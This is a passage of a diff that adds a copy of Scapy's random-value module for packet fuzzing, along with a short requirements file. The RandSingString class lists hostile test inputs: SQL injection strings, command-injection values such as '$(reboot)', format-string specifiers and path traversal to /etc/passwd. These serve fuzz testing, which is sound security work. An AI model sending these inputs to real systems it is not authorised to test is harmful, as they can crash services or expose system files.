in range(len(fmt)): + if "-" in fmt[i]: + fmt[i] = tuple(map(int, fmt[i].split("-"))) + self.fmt = fmt + self.depth = depth + self.idnum = idnum + + def __repr__(self): + if self.ori_fmt is None: + return "<%s>" % self.__class__.__name__ + else: + return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) + + def _fix(self): + if self.fmt is None: + return ".".join(str(self.idnum) for _ in range(1 + self.depth)) + else: + oid = [] + for i in self.fmt: + if i == "*": + oid.append(str(self.idnum)) + elif i == "**": + oid += [str(self.idnum) for i in range(1 + self.depth)] + elif isinstance(i, tuple): + oid.append(str(random.randrange(*i))) + else: + oid.append(i) + return ".".join(oid) + + +class RandRegExp(RandField): + def __init__(self, regexp, lambda_=0.3,): + self._regexp = regexp + self._lambda = lambda_ + + @staticmethod + def choice_expand(s): # XXX does not support special sets like (ex ':alnum:') # noqa: E501 + m = "" + invert = s and s[0] == "^" + while True: + p = s.find("-") + if p < 0: + break + if p == 0 or p == len(s) - 1: + m = "-" + if p: + s = s[:-1] + else: + s = s[1:] + else: + c1 = s[p - 1] + c2 = s[p + 1] + rng = "".join(map(chr, range(ord(c1), ord(c2) + 1))) + s = s[:p - 1] + rng + s[p + 1:] + res = m + s + if invert: + res = "".join(chr(x) for x in range(256) if chr(x) not in res) + return res + + @staticmethod + def stack_fix(lst, index): + r = "" + mul = 1 + for e in lst: + if isinstance(e, list): + if mul != 1: + mul = mul - 1 + r += RandRegExp.stack_fix(e[1:] * mul, index) + # only the last iteration should be kept for back reference + f = RandRegExp.stack_fix(e[1:], index) + for i, idx in enumerate(index): + if e is idx: + index[i] = f + r += f + mul = 1 + elif isinstance(e, tuple): + kind, val = e + if kind == "cite": + r += index[val - 1] + elif kind == "repeat": + mul = val + + elif kind == "choice": + if mul == 1: + c = random.choice(val) + r += RandRegExp.stack_fix(c[1:], index) + else: + r += RandRegExp.stack_fix([e] * mul, index) + mul = 1 + else: + if mul != 1: + r += RandRegExp.stack_fix([e] * mul, index) + mul = 1 + else: + r += str(e) + return r + + def _fix(self): + stack = [None] + index = [] + current = stack + i = 0 + ln = len(self._regexp) + interp = True + while i < ln: + c = self._regexp[i] + i += 1 + + if c == '(': + current = [current] + current[0].append(current) + elif c == '|': + p = current[0] + ch = p[-1] + if not isinstance(ch, tuple): + ch = ("choice", [current]) + p[-1] = ch + else: + ch[1].append(current) + current = [p] + elif c == ')': + ch = current[0][-1] + if isinstance(ch, tuple): + ch[1].append(current) + index.append(current) + current = current[0] + elif c == '[' or c == '{': + current = [current] + current[0].append(current) + interp = False + elif c == ']': + current = current[0] + choice = RandRegExp.choice_expand("".join(current.pop()[1:])) + current.append(RandChoice(*list(choice))) + interp = True + elif c == '}': + current = current[0] + num = "".join(current.pop()[1:]) + e = current.pop() + if "," not in num: + n = int(num) + current.append([current] + [e] * n) + else: + num_min, num_max = num.split(",") + if not num_min: + num_min = "0" + if num_max: + n = RandNum(int(num_min), int(num_max)) + else: + n = RandNumExpo(self._lambda, base=int(num_min)) + current.append(("repeat", n)) + current.append(e) + interp = True + elif c == '\\': + c = self._regexp[i] + if c == "s": + c = RandChoice(" ", "\t") + elif c in "0123456789": + c = ("cite", ord(c) - 0x30) + current.append(c) + i += 1 + elif not interp: + current.append(c) + elif c == '+': + e = current.pop() + current.append([current] + [e] * (int(random.expovariate(self._lambda)) + 1)) # noqa: E501 + elif c == '*': + e = current.pop() + current.append([current] + [e] * int(random.expovariate(self._lambda))) # noqa: E501 + elif c == '?': + if random.randint(0, 1): + current.pop() + elif c == '.': + current.append(RandChoice(*[chr(x) for x in range(256)])) + elif c == '$' or c == '^': + pass + else: + current.append(c) + + return RandRegExp.stack_fix(stack[1:], index) + + def __repr__(self): + return "<%s [%r]>" % (self.__class__.__name__, self._regexp) + + +class RandSingularity(RandChoice): + pass + + +class RandSingNum(RandSingularity): + @staticmethod + def make_power_of_two(end): + sign = 1 + if end == 0: + end = 1 + if end < 0: + end = -end + sign = -1 + end_n = int(math.log(end) / math.log(2)) + 1 + return {sign * 2**i for i in range(end_n)} + + def __init__(self, mn, mx): + sing = {0, mn, mx, int((mn + mx) / 2)} + sing |= self.make_power_of_two(mn) + sing |= self.make_power_of_two(mx) + for i in sing.copy(): + sing.add(i + 1) + sing.add(i - 1) + for i in sing.copy(): + if not mn <= i <= mx: + sing.remove(i) + super(RandSingNum, self).__init__(*sing) + self._choice.sort() + + +class RandSingByte(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, 0, 2**8 - 1) + + +class RandSingSByte(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, -2**7, 2**7 - 1) + + +class RandSingShort(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, 0, 2**16 - 1) + + +class RandSingSShort(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, -2**15, 2**15 - 1) + + +class RandSingInt(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, 0, 2**32 - 1) + + +class RandSingSInt(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, -2**31, 2**31 - 1) + + +class RandSingLong(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, 0, 2**64 - 1) + + +class RandSingSLong(RandSingNum): + def __init__(self): + RandSingNum.__init__(self, -2**63, 2**63 - 1) + + +class RandSingString(RandSingularity): + def __init__(self): + choices_list = ["", + "%x", + "%%", + "%s", + "%i", + "%n", + "%x%x%x%x%x%x%x%x%x", + "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", + "%", + "%%%", + "A" * 4096, + b"\x00" * 4096, + b"\xff" * 4096, + b"\x7f" * 4096, + b"\x80" * 4096, + " " * 4096, + "\\" * 4096, + "(" * 4096, + "../" * 1024, + "/" * 1024, + "${HOME}" * 512, + " or 1=1 --", + "' or 1=1 --", + '" or 1=1 --', + " or 1=1; #", + "' or 1=1; #", + '" or 1=1; #', + ";reboot;", + "$(reboot)", + "`reboot`", + "index.php%00", + b"\x00", + "%00", + "\\", + "../../../../../../../../../../../../../../../../../etc/passwd", # noqa: E501 + "%2e%2e%2f" * 20 + "etc/passwd", + "%252e%252e%252f" * 20 + "boot.ini", + "..%c0%af" * 20 + "etc/passwd", + "..%c0%af" * 20 + "boot.ini", + "//etc/passwd", + r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", # noqa: E501 + "AUX:", + "CLOCK$", + "COM:", + "CON:", + "LPT:", + "LST:", + "NUL:", + "CON:", + r"C:\CON\CON", + r"C:\boot.ini", + r"\\myserver\share", + "foo.exe:", + "foo.exe\\", ] + super(RandSingString, self).__init__(*choices_list) + + def __str__(self): + return str(self._fix()) + + def __bytes__(self): + return bytes_encode(self._fix()) + + +class RandPool(RandField): + def __init__(self, *args): + """Each parameter is a volatile object or a couple (volatile object, weight)""" # noqa: E501 + pool = [] + for p in args: + w = 1 + if isinstance(p, tuple): + p, w = p + pool += [p] * w + self._pool = pool + + def _fix(self): + r = random.choice(self._pool) + return r._fix() + + +class RandUUID(RandField): + """Generates a random UUID. + + By default, this generates a RFC 4122 version 4 UUID (totally random). + + See Python's ``uuid`` module documentation for more information. + + Args: + template (optional): A template to build the UUID from. Not valid with + any other option. + node (optional): A 48-bit Host ID. Only valid for version 1 (where it + is optional). + clock_seq (optional): An integer of up to 14-bits for the sequence + number. Only valid for version 1 (where it is + optional). + namespace: A namespace identifier, which is also a UUID. Required for + versions 3 and 5, must be omitted otherwise. + name: string, required for versions 3 and 5, must be omitted otherwise. + version: Version of UUID to use (1, 3, 4 or 5). If omitted, attempts to + guess which version to generate, defaulting to version 4 + (totally random). + + Raises: + ValueError: on invalid constructor arguments + """ + # This was originally scapy.contrib.dce_rpc.RandUUID. + + _BASE = "([0-9a-f]{{{0}}}|\\*|[0-9a-f]{{{0}}}:[0-9a-f]{{{0}}})" + _REG = re.compile( + r"^{0}-?{1}-?{1}-?{2}{2}-?{2}{2}{2}{2}{2}{2}$".format( + _BASE.format(8), _BASE.format(4), _BASE.format(2) + ), + re.I + ) + VERSIONS = [1, 3, 4, 5] + + def __init__(self, template=None, node=None, clock_seq=None, + namespace=None, name=None, version=None): + self.uuid_template = None + self.node = None + self.clock_seq = None + self.namespace = None + self.node = None + self.version = None + + if template: + if node or clock_seq or namespace or name or version: + raise ValueError("UUID template must be the only parameter, " + "if specified") + tmp = RandUUID._REG.match(template) + if tmp: + template = tmp.groups() + else: + # Invalid template + raise ValueError("UUID template is invalid") + + rnd_f = [RandInt] + [RandShort] * 2 + [RandByte] * 8 + uuid_template = [] + for i, t in enumerate(template): + if t == "*": + val = rnd_f[i]() + elif ":" in t: + mini, maxi = t.split(":") + val = RandNum(int(mini, 16), int(maxi, 16)) + else: + val = int(t, 16) + uuid_template.append(val) + + self.uuid_template = tuple(uuid_template) + else: + if version: + if version not in RandUUID.VERSIONS: + raise ValueError("version is not supported") + else: + self.version = version + else: + # No version specified, try to guess... + # This could be wrong, and cause an error later! + if node or clock_seq: + self.version = 1 + elif namespace and name: + self.version = 5 + else: + # Don't know, random! + self.version = 4 + + # We have a version, now do things... + if self.version == 1: + if namespace or name: + raise ValueError("namespace and name may not be used with " + "version 1") + self.node = node + self.clock_seq = clock_seq + elif self.version in (3, 5): + if node or clock_seq: + raise ValueError("node and clock_seq may not be used with " + "version {}".format(self.version)) + + self.namespace = namespace + self.name = name + elif self.version == 4: + if namespace or name or node or clock_seq: + raise ValueError("node, clock_seq, node and clock_seq may " + "not be used with version 4. If you " + "did not specify version, you need to " + "specify it explicitly.") + + def _fix(self): + if self.uuid_template: + return uuid.UUID(("%08x%04x%04x" + ("%02x" * 8)) + % self.uuid_template) + elif self.version == 1: + return uuid.uuid1(self.node, self.clock_seq) + elif self.version == 3: + return uuid.uuid3(self.namespace, self.name) + elif self.version == 4: + return uuid.uuid4() + elif self.version == 5: + return uuid.uuid5(self.namespace, self.name) + else: + raise ValueError("Unhandled version") + + +# Automatic timestamp + + +class AutoTime(_RandNumeral): + def __init__(self, base=None, diff=None): + if diff is not None: + self.diff = diff + elif base is None: + self.diff = 0 + else: + self.diff = time.time() - base + + def _fix(self): + return time.time() - self.diff + + +class IntAutoTime(AutoTime): + def _fix(self): + return int(time.time() - self.diff) + + +class ZuluTime(AutoTime): + def __init__(self, diff=0): + super(ZuluTime, self).__init__(diff=diff) + + def _fix(self): + return time.strftime("%y%m%d%H%M%SZ", + time.gmtime(time.time() + self.diff)) + + +class GeneralizedTime(AutoTime): + def __init__(self, diff=0): + super(GeneralizedTime, self).__init__(diff=diff) + + def _fix(self): + return time.strftime("%Y%m%d%H%M%SZ", + time.gmtime(time.time() + self.diff)) + + +class DelayedEval(VolatileValue): + """ Example of usage: DelayedEval("time.time()") """ + + def __init__(self, expr): + self.expr = expr + + def _fix(self): + return eval(self.expr) + + +class IncrementalValue(VolatileValue): + def __init__(self, start=0, step=1, restart=-1): + self.start = self.val = start + self.step = step + self.restart = restart + + def _fix(self): + v = self.val + if self.val == self.restart: + self.val = self.start + else: + self.val += self.step + return v + + +class CorruptedBytes(VolatileValue): + def __init__(self, s, p=0.01, n=None): + self.s = s + self.p = p + self.n = n + + def _fix(self): + return corrupt_bytes(self.s, self.p, self.n) + + +class CorruptedBits(CorruptedBytes): + def _fix(self): + return corrupt_bits(self.s, self.p, self.n) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..3492be7 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +colorama +pyserial \ No newline at end of file